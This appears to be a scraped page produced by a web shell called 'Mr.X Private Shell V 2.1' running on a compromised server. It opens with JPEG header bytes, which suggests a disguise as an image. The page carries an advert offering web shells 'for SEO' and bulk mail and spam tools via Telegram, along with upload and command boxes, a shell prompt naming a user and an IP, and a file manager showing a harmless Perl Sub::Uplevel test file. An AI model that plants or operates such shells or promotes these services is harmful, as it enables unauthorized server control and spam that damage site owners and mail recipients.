����JFIF��������� Mr.X 
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        

            For_More_Tools:
            
                Telegram: @jackleet | Bulk Smtp support mail sender  | Business Mail Collector  |  Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private

Upload:

Command:

deexcl@216.73.217.71: ~ $ 
#!/usr/bin/perl

use strict;
BEGIN { $^W = 1 }

use Test::More tests => 3;

BEGIN { use_ok('Sub::Uplevel'); }

sub get_caller_args {
    package DB;
    my @x = caller(1);
    return @DB::args;
}

sub addition {
    my $x;
    $x += $_ for @_;
    return $x;
}

sub wrap_addition {
    my @args = get_caller_args();
    my $sum = uplevel 1, \&addition, @_;
    return ($sum, @args);
}

my ($sum, @args) = wrap_addition(1, 2, 3);

is($sum, 6, "wrapper returned value correct");
is_deeply( \@args, [1, 2, 3], "wrapper returned args correct" );

Filemanager

DIR : / home/ .cpan/ build/ Sub-Uplevel-0.2800-0/ t/
Name Type Size Permission Actions
lib Folder 0755
00-report-prereqs.dd File 2.65 KB 0644
00-report-prereqs.t File 5.45 KB 0644
01_die_check.t File 458 B 0644
02_uplevel.t File 4.46 KB 0644
03_nested_uplevels.t File 1.64 KB 0644
04_honor_later_override.t File 2.28 KB 0644
05_honor_prior_override.t File 2.58 KB 0644
06_db_args.t File 545 B 0644
07_uplevel_too_high.t File 720 B 0644
08_exporter.t File 310 B 0644
09_emptylist.t File 516 B 0644